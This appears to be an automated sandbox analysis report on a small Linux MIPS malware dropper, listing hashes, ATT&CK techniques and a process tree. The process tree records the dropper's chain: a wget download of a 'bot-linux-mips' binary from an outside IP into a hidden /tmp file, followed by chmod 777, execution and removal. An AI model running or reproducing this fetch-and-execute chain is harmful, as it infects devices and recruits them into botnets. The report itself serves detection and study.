7e9b5454e72923f97e7ba34e5b5bba0a7eae2414382e62a17f52e647bf04944c

Analysis

max time kernel
24s
max time network
26s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/10/2026, 22:22

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General

Target
de02c9eeae1c6e53e582de40a40cd9f1
Size 577B
Sample261029-2ajbqsttft
SHA256 7e9b5454e72923f97e7ba34e5b5bba0a7eae2414382e62a17f52e647bf04944c
MD5 de02c9eeae1c6e53e582de40a40cd9f1
SHA1 020422142cd884e151e4e9bfda6a787f012169d1
SHA512 ac137b5220d4e315c19bd470a6eb90ad8edd464e931a2a7b79900f307c2c8ad84cd58a2274b8cdade8af9da13ff641d5432bf83873915c39755a0bdb4e852051
TLSH
T158F0C8DDA5306526B68C6C38B6060268EDA548ABDA40EC0590C9DF130948588F17CFA1
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
819	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.nyx	820	de02c9eeae1c6e53e582de40a40cd9f1

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
722	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.nyx	wget

/tmp/de02c9eeae1c6e53e582de40a40cd9f1
/tmp/de02c9eeae1c6e53e582de40a40cd9f1
1⤵
- Executes dropped EXE
PID:714
- /bin/uname
  uname -m
  2⤵
  PID:716
- /bin/rm
  rm -f .nyx
  2⤵
  PID:718
- /usr/bin/wget
  wget http://85.215.73.250/bot-linux-mips -O .nyx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /bin/chmod
  chmod 777 .nyx
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /bin/rm
  rm -f .nyx
  2⤵
  PID:821

/tmp/.nyx
./.nyx
1⤵
PID:820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

.nyx

Path /tmp/.nyx
Size 1.8MB
SHA256 a4c02aebb5ad887e1cac41a51d95e5e6c26a0e6ed432b5acbd4c861b9200196d
MD5 91ca1abed2fe4e616aac9e0ff70cd575
SHA1 0c069c9ed278fb196ded13bb5ce3984580174823
SHA512 ad291856d9dcb16e203f91efbf0b876fc45d0a105fe648a78543736a7e9a5535fc8e88953cf5e432c34c532918eaea4d96c640f8cd1cb496254f651e842d2a31
SSDEEP 24576:fDlvRQA6wddZvEHcD2Vj2elXHRbs4LVHpNNHGWOyXVx2xMxMnJwKzS5N0G:bluAzB67dxwgvNmDaVEx1JlzMN0G
TLSH
T16885330B9606D2DA48ACBF6F476C52E599704DE7DCC1B388499D8436EA31988FEC17CC
MD5 SHA1 SHA512 SSDEEP TLSH

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